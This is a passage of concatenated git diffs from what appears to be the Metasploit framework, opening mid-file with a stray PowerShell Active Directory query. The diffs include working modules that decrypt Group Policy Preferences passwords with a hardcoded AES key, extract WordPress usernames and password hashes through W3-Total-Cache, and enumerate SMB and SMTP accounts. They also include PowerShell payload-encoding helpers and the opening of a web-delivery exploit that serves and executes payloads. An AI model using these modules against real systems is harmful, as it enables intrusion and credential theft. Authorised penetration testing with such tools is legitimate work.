%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,98 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Script
|
||||
attr_accessor :code
|
||||
attr_reader :functions, :rig
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
# Pretend we are actually a string
|
||||
extend Forwardable
|
||||
# In case someone messes with String we delegate based on its instance methods
|
||||
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
|
||||
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
|
||||
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
|
||||
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||
:end_with?
|
||||
|
||||
def initialize(code)
|
||||
@code = ''
|
||||
@rig = Rex::RandomIdentifierGenerator.new
|
||||
|
||||
begin
|
||||
# Open code file for reading
|
||||
fd = ::File.new(code, 'rb')
|
||||
while (line = fd.gets)
|
||||
@code << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat code as a... code
|
||||
@code = code.to_s.dup # in case we're eating another script
|
||||
end
|
||||
@functions = get_func_names.map { |f| get_func(f) }
|
||||
end
|
||||
|
||||
##
|
||||
# Class methods
|
||||
##
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
# @param input_data [String] Path to powershell file or powershell
|
||||
# code string
|
||||
# @param var_name [String] Byte array variable name
|
||||
#
|
||||
# @return [String] input_data as a powershell byte array
|
||||
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||
# File will raise an exception if the path contains null byte
|
||||
if input_data.include? "\x00"
|
||||
code = input_data
|
||||
else
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
end
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length - 1) do |byte|
|
||||
if (byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
psh << lines.join('') + "\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Return list of code modifier methods
|
||||
#
|
||||
# @return [Array] Code modifiers
|
||||
def self.code_modifiers
|
||||
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||
end
|
||||
end # class Script
|
||||
end
|
||||
end
|
||||
end
|
|
@ -129,14 +129,40 @@ class GPP
|
|||
# Decrypts passwords using Microsoft's published key:
|
||||
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
||||
def self.decrypt(encrypted_data)
|
||||
unless encrypted_data
|
||||
return ""
|
||||
end
|
||||
password = ""
|
||||
return password unless encrypted_data
|
||||
|
||||
password = ""
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
retries = 0
|
||||
original_data = encrypted_data.dup
|
||||
|
||||
begin
|
||||
mod = encrypted_data.length % 4
|
||||
|
||||
# PowerSploit code strips the last character, unsure why...
|
||||
case mod
|
||||
when 1
|
||||
encrypted_data = encrypted_data[0..-2]
|
||||
when 2, 3
|
||||
padding = '=' * (4 - mod)
|
||||
encrypted_data = "#{encrypted_data}#{padding}"
|
||||
end
|
||||
|
||||
# Strict base64 decoding used here
|
||||
decoded = encrypted_data.unpack('m0').first
|
||||
rescue ::ArgumentError => e
|
||||
# Appears to be some junk UTF-8 Padding appended at times in
|
||||
# Win2k8 (not in Win2k8R2)
|
||||
# Lets try stripping junk and see if we can decrypt
|
||||
if retries < 8
|
||||
retries += 1
|
||||
original_data = original_data[0..-2]
|
||||
encrypted_data = original_data
|
||||
retry
|
||||
else
|
||||
return password
|
||||
end
|
||||
end
|
||||
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'digest/md5'
|
|||
require 'digest/sha1'
|
||||
require 'stringio'
|
||||
require 'cgi'
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
%W{ iconv zlib }.each do |libname|
|
||||
begin
|
||||
|
@ -305,19 +306,7 @@ module Text
|
|||
# Converts a raw string to a powershell byte array
|
||||
#
|
||||
def self.to_powershell(str, name = "buf")
|
||||
return "[Byte[]]$#{name} = ''" if str.nil? or str.empty?
|
||||
|
||||
code = str.unpack('C*')
|
||||
buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}"
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
buff << ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
return buff
|
||||
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,50 @@
|
|||
require 'json'
|
||||
|
||||
module Sqlmap
|
||||
class Manager
|
||||
def initialize(session)
|
||||
@session = session
|
||||
end
|
||||
|
||||
def new_task
|
||||
res = @session.get('/task/new')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def delete_task(task_id)
|
||||
res = @session.get('/task/' + task_id + '/delete')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def set_option(task_id, key, value)
|
||||
post = { key => value }
|
||||
res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'})
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_options(task_id)
|
||||
res = @session.get('/option/' + task_id + '/list')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def start_task(task_id, options = {})
|
||||
res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'})
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_task_status(task_id)
|
||||
res = @session.get('/scan/' + task_id + '/status')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_task_log(task_id)
|
||||
res = @session.get('/scan/' + task_id + '/log')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_task_data(task_id)
|
||||
res = @session.get('/scan/' + task_id + '/data')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
module Sqlmap
|
||||
class Session
|
||||
def initialize(host, port = 8775)
|
||||
@host = host
|
||||
@port = port
|
||||
end
|
||||
|
||||
def get(uri, headers = nil, params = nil)
|
||||
c = Rex::Proto::Http::Client.new(@host, @port)
|
||||
args = {
|
||||
'uri' => uri
|
||||
}
|
||||
|
||||
args['headers'] = headers if headers
|
||||
args['vars_get'] = params if params
|
||||
res = c.request_cgi(args)
|
||||
res = c.send_recv(res)
|
||||
return res
|
||||
end
|
||||
|
||||
def post(uri, headers = nil, data = nil, originator_args = nil)
|
||||
c = Rex::Proto::Http::Client.new(@host, @port)
|
||||
args = {
|
||||
'uri' => uri,
|
||||
'method' => 'POST'
|
||||
}
|
||||
|
||||
args.merge!(originator_args) if originator_args
|
||||
|
||||
args['headers'] = headers if headers
|
||||
args['data'] = data if data
|
||||
res = c.request_cgi(args)
|
||||
res = c.send_recv(res)
|
||||
return res
|
||||
end
|
||||
end
|
||||
end
|
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'patrick',
|
||||
'j0hn__f'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -47,44 +49,56 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
vprint_status("Connecting to the server...")
|
||||
|
||||
def check_path(path)
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
|
||||
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
|
||||
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
|
||||
|
||||
if (fd = simple.open("\\#{datastore['RPATH']}", 'o')) # mode is open only - do not create/append/write etc
|
||||
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
|
||||
fd.close
|
||||
end
|
||||
rescue ::Rex::HostUnreachable
|
||||
vprint_error("Host #{rhost} offline.")
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||
vprint_error("Host #{rhost} login error.")
|
||||
if (fd = simple.open("\\#{path}", 'o')) # mode is open only - do not create/append/write etc
|
||||
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
|
||||
fd.close
|
||||
end
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if e.get_error(e.error_code) == "STATUS_FILE_IS_A_DIRECTORY"
|
||||
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
|
||||
elsif e.get_error(e.error_code) == "STATUS_OBJECT_NAME_NOT_FOUND"
|
||||
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
|
||||
elsif e.get_error(e.error_code) == "STATUS_OBJECT_PATH_NOT_FOUND"
|
||||
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
|
||||
elsif e.get_error(e.error_code) == "STATUS_ACCESS_DENIED"
|
||||
case e.get_error(e.error_code)
|
||||
when "STATUS_FILE_IS_A_DIRECTORY"
|
||||
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
|
||||
when "STATUS_OBJECT_NAME_NOT_FOUND"
|
||||
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
|
||||
when "STATUS_OBJECT_PATH_NOT_FOUND"
|
||||
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
|
||||
when "STATUS_ACCESS_DENIED"
|
||||
vprint_error("Host #{rhost} reports access denied.")
|
||||
elsif e.get_error(e.error_code) == "STATUS_BAD_NETWORK_NAME"
|
||||
when "STATUS_BAD_NETWORK_NAME"
|
||||
vprint_error("Host #{rhost} is NOT connected to #{datastore['SMBDomain']}!")
|
||||
elsif e.get_error(e.error_code) == "STATUS_INSUFF_SERVER_RESOURCES"
|
||||
when "STATUS_INSUFF_SERVER_RESOURCES"
|
||||
vprint_error("Host #{rhost} rejected with insufficient resources!")
|
||||
when "STATUS_OBJECT_NAME_INVALID"
|
||||
vprint_error("opeining \\#{path} bad filename")
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("Connecting to the server...")
|
||||
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
|
||||
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
|
||||
|
||||
datastore['RPATH'].each_line do |path|
|
||||
check_path(path.chomp)
|
||||
end #end do
|
||||
rescue ::Rex::HostUnreachable
|
||||
vprint_error("Host #{rhost} offline.")
|
||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||
print_error("Host #{rhost} login error.")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error "Host #{rhost} unable to connect - connection refused"
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
print_error "Host #{rhost} unable to connect to share #{datastore['SMBSHARE']}"
|
||||
end # end begin
|
||||
end # end def
|
||||
end
|
||||
|
|
|
@ -6,8 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
|
||||
'Description' =>
|
||||
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
|
||||
"The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
|
||||
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
|
||||
so it can be vulnerable. These cache files are in the webroot of the Wordpress
|
||||
installation and can be downloaded if the name is guessed. This modules tries to
|
||||
|
@ -25,76 +24,81 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '88744'],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
|
||||
['OSVDB', '88744'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Christian Mehlmauer', # Metasploit module
|
||||
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
|
||||
'Christian Mehlmauer', # Metasploit module
|
||||
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
|
||||
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
|
||||
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
|
||||
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
|
||||
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
|
||||
OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']),
|
||||
OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]),
|
||||
OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def wordpress_url
|
||||
url = target_uri
|
||||
url.path << "/" if url.path[-1,1] != "/"
|
||||
url
|
||||
def table_prefix
|
||||
datastore['TABLE_PREFIX']
|
||||
end
|
||||
|
||||
def site_iterations
|
||||
datastore['SITE_ITERATIONS']
|
||||
end
|
||||
|
||||
def user_iterations
|
||||
datastore['USER_ITERATIONS']
|
||||
end
|
||||
|
||||
# Call the User site, so the db statement will be cached
|
||||
def cache_user_info(user_id)
|
||||
user_url = normalize_uri(wordpress_url)
|
||||
user_url = normalize_uri(target_uri)
|
||||
begin
|
||||
send_request_cgi(
|
||||
{
|
||||
"uri" => user_url,
|
||||
"method" => "GET",
|
||||
"vars_get" => {
|
||||
"author" => user_id.to_s
|
||||
}
|
||||
})
|
||||
'uri' => user_url,
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'author' => user_id.to_s
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
vprint_error("Unable to connect to #{url}")
|
||||
return nil
|
||||
vprint_error("Unable to connect to #{user_url}")
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("Unable to connect to #{url}")
|
||||
return nil
|
||||
vprint_error("Unable to connect to #{user_url}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
users_found = false
|
||||
|
||||
for site_id in 1..datastore["SITE_ITERATIONS"] do
|
||||
(1..site_iterations).each do |site_id|
|
||||
|
||||
vprint_status("Trying site_id #{site_id}...")
|
||||
for user_id in 1..datastore["USER_ITERATIONS"] do
|
||||
|
||||
(1..user_iterations).each do |user_id|
|
||||
|
||||
vprint_status("Trying user_id #{user_id}...")
|
||||
|
||||
# used to cache the statement
|
||||
cache_user_info(user_id)
|
||||
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
|
||||
query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'"
|
||||
query_md5 = ::Rex::Text.md5(query)
|
||||
host = datastore["VHOST"] || ip
|
||||
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
|
||||
host = datastore['VHOST'] || ip
|
||||
key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}"
|
||||
key_md5 = ::Rex::Text.md5(key)
|
||||
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
|
||||
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
|
||||
url << hash_path
|
||||
hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5)
|
||||
url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path)
|
||||
|
||||
result = nil
|
||||
begin
|
||||
result = send_request_cgi({ "uri" => url, "method" => "GET" })
|
||||
result = send_request_cgi('uri' => url, 'method' => 'GET')
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("Unable to connect to #{url}")
|
||||
break
|
||||
|
@ -103,8 +107,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
break
|
||||
end
|
||||
|
||||
if result.nil? or result.body.nil?
|
||||
print_error("No response received")
|
||||
if result.nil? || result.body.nil?
|
||||
print_error('No response received')
|
||||
break
|
||||
end
|
||||
|
||||
|
@ -113,18 +117,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("Username: #{match[0]}")
|
||||
print_good("Password Hash: #{match[1]}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => ssl ? "https" : "http",
|
||||
:user => match[0],
|
||||
:pass => match[1],
|
||||
:active => true,
|
||||
:type => "hash"
|
||||
host: rhost,
|
||||
port: rport,
|
||||
sname: ssl ? 'https' : 'http',
|
||||
user: match[0],
|
||||
pass: match[1],
|
||||
active: true,
|
||||
type: 'hash'
|
||||
)
|
||||
users_found = true
|
||||
end
|
||||
end
|
||||
end
|
||||
print_error("No users found :(") unless users_found
|
||||
print_error('No users found :(') unless users_found
|
||||
end
|
||||
end
|
||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PATH', [true, 'Vulnerable path. Ex: /foo/index.php?pg=', '/']),
|
||||
OptString.new('DATA', [false,'HTTP body data', '']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 5]),
|
||||
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/1.1 200 OK']),
|
||||
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/\\d\\.\\d 200']),
|
||||
OptPath.new(
|
||||
'FILELIST',
|
||||
[
|
||||
|
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
save_source.puts(res.body.to_s)
|
||||
save_source.close
|
||||
|
||||
print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
|
||||
print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
|
||||
|
||||
else
|
||||
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
|
||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:port => datastore['RPORT'],
|
||||
:name => "nessus-xmlrpc",
|
||||
:info => 'Nessus XMLRPC',
|
||||
:state => 'UP'
|
||||
:state => 'open'
|
||||
)
|
||||
else
|
||||
vprint_error("Wrong HTTP Server header: #{res.headers['Server'] || ''}")
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SMB Local User Enumeration (LookupSid)',
|
||||
'Name' => 'SMB SID User Enumeration (LookupSid)',
|
||||
'Description' => 'Determine what users exist via brute force SID lookups.
|
||||
This module can enumerate both local and domain accounts by setting
|
||||
ACTION to either LOCAL or DOMAIN',
|
||||
|
@ -29,6 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
# Samba doesn't like this option, so we disable so we are compatible with
|
||||
# both Windows and Samba for enumeration.
|
||||
'DCERPC::fake_bind_multi' => false
|
||||
},
|
||||
'Actions' =>
|
||||
|
@ -49,6 +51,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('RPORT', 'RHOST')
|
||||
end
|
||||
|
||||
# Constants used by this module
|
||||
LSA_UUID = '12345778-1234-abcd-ef00-0123456789ab'
|
||||
LSA_VERS = '0.0'
|
||||
LSA_PIPES = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC }
|
||||
|
||||
# Locate an available SMB PIPE for the specified service
|
||||
def smb_find_dcerpc_pipe(uuid, vers, pipes)
|
||||
|
@ -128,11 +134,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[ uinfo[3], name ]
|
||||
end
|
||||
|
||||
|
||||
@@lsa_uuid = '12345778-1234-abcd-ef00-0123456789ab'
|
||||
@@lsa_vers = '0.0'
|
||||
@@lsa_pipes = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC }
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
|
||||
|
@ -145,7 +146,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
lsa_handle = nil
|
||||
begin
|
||||
# find the lsarpc pipe
|
||||
lsa_pipe = smb_find_dcerpc_pipe(@@lsa_uuid, @@lsa_vers, @@lsa_pipes)
|
||||
lsa_pipe = smb_find_dcerpc_pipe(LSA_UUID, LSA_VERS, LSA_PIPES)
|
||||
break if not lsa_pipe
|
||||
|
||||
# OpenPolicy2()
|
||||
|
@ -201,11 +202,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
|
||||
domain_sid, domain_name = smb_parse_sid(resp)
|
||||
|
||||
|
||||
# Store SID, local domain name, joined domain name
|
||||
print_status("#{ip} PIPE(#{lsa_pipe}) LOCAL(#{host_name} - #{host_sid}) DOMAIN(#{domain_name} - #{domain_sid})")
|
||||
|
||||
|
||||
domain = {
|
||||
:name => host_name,
|
||||
:txt_sid => host_sid,
|
||||
|
@ -213,8 +212,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:groups => {}
|
||||
}
|
||||
|
||||
target_sid = host_sid if action.name =~ /LOCAL/i
|
||||
target_sid = domain_sid if action.name =~ /DOMAIN/i
|
||||
target_sid = case action.name.upcase
|
||||
when 'LOCAL'
|
||||
host_sid
|
||||
when 'DOMAIN'
|
||||
# Fallthrough to the host SID if no domain SID was returned
|
||||
unless domain_sid
|
||||
print_error("#{ip} No domain SID identified, falling back to the local SID...")
|
||||
end
|
||||
domain_sid || host_sid
|
||||
end
|
||||
|
||||
# Brute force through a common RID range
|
||||
500.upto(datastore['MaxRID'].to_i) do |rid|
|
||||
|
||||
|
@ -269,10 +277,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
print_status("#{ip} #{domain[:name].upcase} [#{domain[:users].keys.map{|k| domain[:users][k]}.join(", ")} ]")
|
||||
|
||||
# cleanup
|
||||
disconnect
|
||||
return
|
||||
|
||||
rescue ::Timeout::Error
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
|
|
|
@ -70,11 +70,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
users_found = {}
|
||||
result = nil # temp for storing result of SMTP request
|
||||
code = 0 # status code parsed from result
|
||||
vrfy = true # if vrfy allowed
|
||||
expn = true # if expn allowed
|
||||
rcpt = true # if rcpt allowed and useful
|
||||
result = nil # temp for storing result of SMTP request
|
||||
code = 0 # status code parsed from result
|
||||
vrfy = true # if vrfy allowed
|
||||
expn = true # if expn allowed
|
||||
rcpt = true # if rcpt allowed and useful
|
||||
usernames = extract_words(datastore['USER_FILE'])
|
||||
|
||||
cmd = 'HELO' + " " + "localhost" + "\r\n"
|
||||
|
@ -94,20 +94,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
domain = result.split()[1]
|
||||
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
|
||||
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
|
||||
|
||||
|
||||
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")
|
||||
|
||||
result, code = smtp_send("VRFY root\r\n")
|
||||
vrfy = (code == 250)
|
||||
users_found = do_enum('VRFY', usernames) if (vrfy)
|
||||
users_found = do_enum('VRFY', usernames) if (vrfy)
|
||||
|
||||
if(users_found.empty?)
|
||||
# VRFY failed, lets try EXPN
|
||||
result, code = smtp_send("EXPN root\r\n")
|
||||
expn = (code == 250)
|
||||
users_found = do_enum('EXPN', usernames) if(expn)
|
||||
users_found = do_enum('EXPN', usernames) if(expn)
|
||||
end
|
||||
|
||||
if(users_found.empty?)
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
|
||||
this_host = nil
|
||||
if full_match
|
||||
print_good "Identified #{full_match[1]}"
|
||||
print_good("#{rhost}:#{rport} - Identified #{full_match[1]}")
|
||||
report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
|
||||
end
|
||||
if os_match and ver_match and build_match
|
||||
|
|
|
@ -4,16 +4,18 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Script Web Delivery',
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module quickly fires up a web server that serves a payload.
|
||||
The provided command will start the specified scripting language interpreter and then download and execute the
|
||||
payload. The main purpose of this module is to quickly establish a session on a target
|
||||
|
@ -23,13 +25,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
|
||||
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
|
||||
x86 payloads on x64 machines.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
|
||||
'Ben Campbell',
|
||||
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
|
||||
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
@ -37,12 +39,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
